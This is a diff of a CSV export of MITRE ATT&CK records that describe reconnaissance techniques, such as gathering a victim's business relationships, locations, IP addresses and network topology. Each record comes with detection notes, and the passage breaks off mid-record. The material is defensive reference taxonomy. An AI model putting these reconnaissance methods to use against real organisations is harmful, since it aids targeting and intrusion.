[Phishing](https://attack.mitre.org/techniques/T1566)).",attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4,attack-pattern,['reconnaissance'],2021-04-15T03:39:08.904Z,2020-10-02T16:37:30.015Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",['reconnaissance'],https://attack.mitre.org/techniques/T1591/004,mitre-attack,T1591.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1591.003', 'url': 'https://attack.mitre.org/techniques/T1591/003'}, {'source_name': 'ThreatPost Broadvoice Leak', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1591/003,mitre-attack,T1591.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify Business Tempo,"Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591/003', 'external_id': 'T1591.003'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}]",1.0,attack-pattern,attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:34:32.435Z,2021-04-15T03:38:31.983Z,Identify Business Tempo,"Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f,attack-pattern,['reconnaissance'],2021-04-15T03:38:31.983Z,2020-10-02T16:34:32.435Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",['reconnaissance'],https://attack.mitre.org/techniques/T1591/003,mitre-attack,T1591.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1591.001', 'url': 'https://attack.mitre.org/techniques/T1591/001'}, {'source_name': 'ThreatPost Broadvoice Leak', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.'}, {'source_name': 'DOB Business Lookup', 'url': 'https://www.dobsearch.com/business-lookup/', 'description': 'Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1591/001,mitre-attack,T1591.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine Physical Locations,"Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591/001', 'external_id': 'T1591.001'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}, {'source_name': 'SEC EDGAR Search', 'description': 'U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.', 'url': 'https://www.sec.gov/edgar/search-and-access'}]",1.1,attack-pattern,attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:32:33.126Z,2021-08-27T15:37:09.025Z,Determine Physical Locations,"Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867,attack-pattern,['reconnaissance'],2021-04-15T03:37:35.863Z,2020-10-02T16:32:33.126Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",['reconnaissance'],https://attack.mitre.org/techniques/T1591/001,mitre-attack,T1591.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1591.002', 'url': 'https://attack.mitre.org/techniques/T1591/002'}, {'source_name': 'ThreatPost Broadvoice Leak', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1591/002,mitre-attack,T1591.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Business Relationships,"Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591/002', 'external_id': 'T1591.002'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}]",1.0,attack-pattern,attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:27:55.713Z,2021-04-15T03:36:58.964Z,Business Relationships,"Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f,attack-pattern,['reconnaissance'],2021-04-15T03:36:58.964Z,2020-10-02T16:27:55.713Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",['reconnaissance'],https://attack.mitre.org/techniques/T1591/002,mitre-attack,T1591.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1591', 'url': 'https://attack.mitre.org/techniques/T1591'}, {'source_name': 'ThreatPost Broadvoice Leak', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.'}, {'source_name': 'DOB Business Lookup', 'url': 'https://www.dobsearch.com/business-lookup/', 'description': 'Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1591,mitre-attack,T1591,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Gather Victim Org Information,"Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591', 'external_id': 'T1591'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}, {'source_name': 'SEC EDGAR Search', 'description': 'U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.', 'url': 'https://www.sec.gov/edgar/search-and-access'}]",1.1,attack-pattern,attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:27:02.339Z,2021-08-27T15:37:09.343Z,Gather Victim Org Information,"Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23,attack-pattern,['reconnaissance'],2021-04-15T03:39:09.021Z,2020-10-02T16:27:02.339Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",['reconnaissance'],https://attack.mitre.org/techniques/T1591,mitre-attack,T1591,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1590.006', 'url': 'https://attack.mitre.org/techniques/T1590/006'}, {'source_name': 'Nmap Firewalls NIDS', 'url': 'https://nmap.org/book/firewalls.html', 'description': 'Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1590/006,mitre-attack,T1590.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Security Appliances,"Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/006', 'external_id': 'T1590.006'}, {'source_name': 'Nmap Firewalls NIDS', 'description': 'Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.', 'url': 'https://nmap.org/book/firewalls.html'}]",1.0,attack-pattern,attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:01:35.350Z,2021-04-15T03:31:54.275Z,Network Security Appliances,"Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413,attack-pattern,['reconnaissance'],2021-04-15T03:31:54.275Z,2020-10-02T16:01:35.350Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1590/006,mitre-attack,T1590.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1590.005', 'url': 'https://attack.mitre.org/techniques/T1590/005'}, {'source_name': 'WHOIS', 'url': 'https://www.whois.net/', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.'}, {'source_name': 'DNS Dumpster', 'url': 'https://dnsdumpster.com/', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.'}, {'source_name': 'Circl Passive DNS', 'url': 'https://www.circl.lu/services/passive-dns/', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1590/005,mitre-attack,T1590.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,IP Addresses,"Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/005', 'external_id': 'T1590.005'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",1.0,attack-pattern,attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:59:11.695Z,2021-04-15T03:31:05.302Z,IP Addresses,"Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3,attack-pattern,['reconnaissance'],2021-04-15T03:31:05.302Z,2020-10-02T15:59:11.695Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1590/005,mitre-attack,T1590.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1590.004', 'url': 'https://attack.mitre.org/techniques/T1590/004'}, {'source_name': 'DNS Dumpster', 'url': 'https://dnsdumpster.com/', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1590/004,mitre-attack,T1590.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Topology,"Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/004', 'external_id': 'T1590.004'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}]",1.0,attack-pattern,attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:49:03.815Z,2021-04-15T03:33:02.476Z,Network Topology,"Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other 